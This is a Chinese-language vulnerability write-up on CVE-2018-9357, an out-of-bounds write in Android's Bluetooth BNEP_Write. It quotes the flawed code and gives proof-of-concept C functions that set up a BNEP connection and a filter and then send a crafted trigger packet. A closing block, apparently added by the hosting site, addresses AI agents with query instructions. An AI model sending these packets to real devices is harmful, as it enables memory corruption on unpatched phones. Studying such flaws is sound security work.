# 【蓝牙】CVE-2018-9357 BNEP\_Write越界写导致RCE

补丁

* <https://android.googlesource.com/platform/system/bt/+/9164ee1aaf3609b4771d39302e3af649f44c9e66>

这个漏洞我本来想先自己分析出来，但是没有找到漏洞点

我们先来看漏洞函数，这个函数是用于在BNEP连接里传输数据，所以我们需要先进行BNEP连接，一次BNEP连接，在处理数据包的时候，如果传入的是包指定了协议`BNEP_802_1_P_PROTOCOL`，就会触发漏洞

```c++
/*******************************************************************************
 *
 * Function         BNEP_Write
 *
 * Description      This function sends data over a BNEP connection
 *
 * Parameters:      handle       - handle of the connection to write
 *                  p_dest_addr  - BD_ADDR/Ethernet addr of the destination
 *                  p_data       - pointer to data start
 *                  protocol     - protocol type of the packet
 *                  p_src_addr   - (optional) BD_ADDR/ethernet address of the
 *                                 source
 *                                 (should be NULL if it is local BD Addr)
 *                  fw_ext_present - forwarded extensions present
 *
 * Returns:         BNEP_WRONG_HANDLE       - if passed handle is not valid
 *                  BNEP_MTU_EXCEDED        - If the data length is greater than
 *                                            the MTU
 *                  BNEP_IGNORE_CMD         - If the packet is filtered out
 *                  BNEP_Q_SIZE_EXCEEDED    - If the Tx Q is full
 *                  BNEP_NO_RESOURCES       - If not able to allocate a buffer
 *                  BNEP_SUCCESS            - If written successfully
 *
 ******************************************************************************/
tBNEP_RESULT BNEP_Write(uint16_t handle, const RawAddress& p_dest_addr,
                        uint8_t* p_data, uint16_t len, uint16_t protocol,
                        const RawAddress* p_src_addr, bool fw_ext_present) {
    tBNEP_CONN* p_bcb;
    uint8_t* p;

    // MTU检查
    /* Check MTU size. Consider the possibility of having extension headers */
    if (len > BNEP_MTU_SIZE) {
        BNEP_TRACE_ERROR("BNEP_Write() length %d exceeded MTU %d", len, BNEP_MTU_SIZE);
        return (BNEP_MTU_EXCEDED);
    }

    // handle检查
    if ((!handle) || (handle > BNEP_MAX_CONNECTIONS)) return (BNEP_WRONG_HANDLE);

    p_bcb = &(bnep_cb.bcb[handle - 1]); // 获取p_pcb

    /* Check if the packet should be filtered out */
    if (bnep_is_packet_allowed(p_bcb, p_dest_addr, protocol, fw_ext_present, p_data) != BNEP_SUCCESS) {
        /*
        ** If packet is filtered and ext headers are present
        ** drop the data and forward the ext headers
        */
        if (fw_ext_present) {
            uint8_t ext, length;
            uint16_t org_len, new_len;
            /* parse the extension headers and findout the new packet len */
            org_len = len; // org_len表示Buffer原本长度
            new_len = 0;   // new_len表示新的Buffer长度
            p = p_data;    // p表示Buffer原始起始地址
            do {
                ext = *p_data++;    // 获取第一个字节作为ext
                length = *p_data++; // 获取第二个字节作为length
                p_data += length;   // 移动p_data指向下一个扩展起始地址

                new_len += (length + 2); // new_length加上ext，length两字节，再加上length长度的数据

                if (new_len > org_len) return BNEP_IGNORE_CMD; // new_len不能超过原始Buffer整体长度org_len

            } while (ext & 0x80);

            if (protocol != BNEP_802_1_P_PROTOCOL)
                protocol = 0;
            else {
                // new_len加上4
                new_len += 4;
                p_data[2] = 0;
                p_data[3] = 0;
            }
            len = new_len; // len为最终的新Buffer长度
            p_data = p; // p_data重新指向Buffer起始
        } else
            return BNEP_IGNORE_CMD;
    }
    
    ...
}
```

通过阅读POC，如下构造数据包，传入`BNEP()`的`p_data`就是`ext_1`开始往后的数据

1. 第一轮循环：`ext`为`0x81`，表示还有一个`ext`，`length`为`0x00`，这样一轮循环后，`p_data`就指向了`ext_2`，`new_len`为2
2. 第二轮循环：`ext`为`0x00`，表示后面没有`ext`了，`length`为`0x00`，第二轮循环结束后，`p_data`指向`OOB`

出了循环，指定`protocol`为`0x8100`也就是`BNEP_802_1_P_PROTOCOL`，就可以进入`else`分支，`new_len`加上4我没有理解在计算什么，后面直接对`p_data[2]`和`p_data[3]`进行赋值操作，此时完全没有判断`OOB[0]`开始往后4个字节属于Buffer边界内，这就是一个越界写漏洞

\| ext(1) | dst\_addr(6) | src\_addr(6) | Protocol(2) | ext\_1(1) | Len\_1(1) | ext\_2(1) | Len\_2(1) | OOB\[0] | OOB\[1] | OOB\[2] | OOB\[3] | | - | - | - | - | - | - | - | - | - | - | - | - | - | - | | 0x80 | | | 0x8100 | 0x81 | 0x00 | 0x00 | 0x00 | | |||||

构造关键数据包的步骤如下

```c++
static int send_trigger_req(int sock_fd, uint8_t *dst, uint8_t *src) 
{
	uint8_t *buf, *p;
	int ret = 0;

	p = buf = malloc(0x200);
	memset(buf, 0, 0x200);

	uint8_t type = 0x80; // for ext
	*p++ = type;

    uint8_t dst_addr[6], src_addr[6];
    getbd(dst, dst_addr);
	memcpy(p, dst_addr, 6); // dst_addr
	p += 6;

    getbd(src, src_addr);
	memcpy(p, src_addr, 6); //src_add
	p += 6;

	// #define BNEP_802_1_P_PROTOCOL 0x8100
	uint16_t protocol = 0x8100;
	UINT16_TO_BE_STREAM(p, protocol);

	// rem_len start 
	uint8_t ext_type = 0x81;
	*p++ = ext_type;  // enter while loop, and break

	uint8_t len = 0x00;
	*p++ = len;    // new_len = 2

	uint8_t ext2 = 0x00;
	*p++ = ext2;

	uint8_t *p_len2 = p; // 此时p和p_len2指向的是Len_2
	p++; // p加1，指向OOB[0]

	uint8_t len2 = p - buf - 15 - 2 - 2; // 这里计算出来就是0，len2 = 0
	UINT8_TO_BE_STREAM(p_len2, len2);    // 将0写到Len2_2的位置

	send(sock_fd, buf, p - buf, 0);

	free(buf);
}
```

那么我们现在来看完整的攻击流程，第一步是建立BNEP连接，BNEP包格式如下，`E`为扩展标志位

![](/files/S0GtbDfJq2TW0wzE9RSm)

`BNEP Packet Type`有如下几种类型，我们选择`BNEP_GENERAL_ETHERNET`

| Value       | BNEP Packet Type                                    |
| ----------- | --------------------------------------------------- |
| 0x00        | BNEP\_GENERAL\_ETHERNET                             |
| 0x01        | BNEP\_CONTROL                                       |
| 0x02        | BNEP\_COMPRESSED\_ETHERNET                          |
| 0x03        | BNEP\_COMPRESSED\_ETHERNET\_SOURCE\_ONLY            |
| 0x04        | BNEP\_COMPRESSED\_ETHERNET\_DEST\_ONLY              |
| 0x05 - 0x7E | Reserved for future use                             |
| 0x7F        | Reserved for 802.2 LLC Packets for IEEE 802.15.1 WG |

`BNEP Control Type`设置的是`BNEP_SETUP_CONNECTION_REQUEST_MSG`，此处不添加扩展数据

整个连接请求包的格式

![](/files/rZSbe5ngUzMqjuf3SSU9)

其中`Destination Service UUID`和`Source Service UUID`长度不固定，最少是2个字节

Destination Service UUID: Size: 2-16 Bytes

| Value | Parameter Description                                                                                                                                                                                                                                   |
| ----- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0xXX  | Depending on the UUID Size parameter, this is a 2-16 byte field containing the destination (service which the source device is connecting to) SDP service UUIDs \[8]. Note: The size of both the destination and source service UUID SHALL be the same. |

Source Service UUID: Size: 2-16 Bytes

| Value | Parameter Description                                                                                                                                                                                                                                                 |
| ----- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0xXX  | Depending on the UUID Size parameter, this is a 2-16 byte field containing the source (the service that the source device is using for the BNEP connection) SDP service UUIDs \[8]. Note: The size of both the destination and source service UUID SHALL be the same. |

`BNEP_SETUP_CONNECTION_REQUEST_MSG`包的构造过程如下

```c++
static int send_frame_ctrl_conn_req(int sock_fd){
	uint8_t *buf, *p;
	int ret = 0;

	p = buf = malloc(0x100);
	memset(buf, 0, 0x100);

	uint8_t type = BNEP_FRAME_CONTROL;
	*p++ = type;

	uint8_t ctrl_type = BNEP_SETUP_CONNECTION_REQUEST_MSG;
	*p++ = ctrl_type;

	uint8_t len = 0x02;
	*p++ = len;

	uint16_t SRC_UUID = 0x1116; // PAN profile
	uint16_t DST_UUID = 0x1115; // PAN profile
	UINT16_TO_BE_STREAM(p, SRC_UUID);  // src_uuid
	UINT16_TO_BE_STREAM(p, DST_UUID); // dst_uuid

	uint16_t protocol = 0x0000;
	UINT16_TO_BE_STREAM(p, protocol);

	send(sock_fd, buf, p - buf, 0);

	free(buf);
}
```

设置filter

```c++
static int send_frame_ctrl_filter_net_req(int sock_fd)
{
	// to make p_bcb->recv_num_filters not 0
	uint8_t *buf, *p;
	int ret = 0;

	p = buf = malloc(0x100);
	memset(buf, 0, 0x100);

	uint8_t type = BNEP_FRAME_CONTROL;
	*p++ = type;

	uint8_t ctrl_type = BNEP_FILTER_NET_TYPE_SET_MSG;  // no ext
	*p++ = ctrl_type;

	uint16_t len = 0x04; // this make num_filters = 0x01
	UINT16_TO_BE_STREAM(p, len);  // len

	uint16_t start = 0xfffe;  // must meet condition (protocol < start || protocol > end)
	uint16_t end = 0xffff;    // then bnep_is_packet_allowd return un-SUCCESS.
	UINT16_TO_BE_STREAM(p, start);
	UINT16_TO_BE_STREAM(p, end);

	send(sock_fd, buf, p - buf, 0);

	free(buf);
}
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wnagzihxa1n.gitbook.io/happy-android-security/system_security/cve20189357bnepwrite-yue-jie-xie-dao-zhi-rce.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
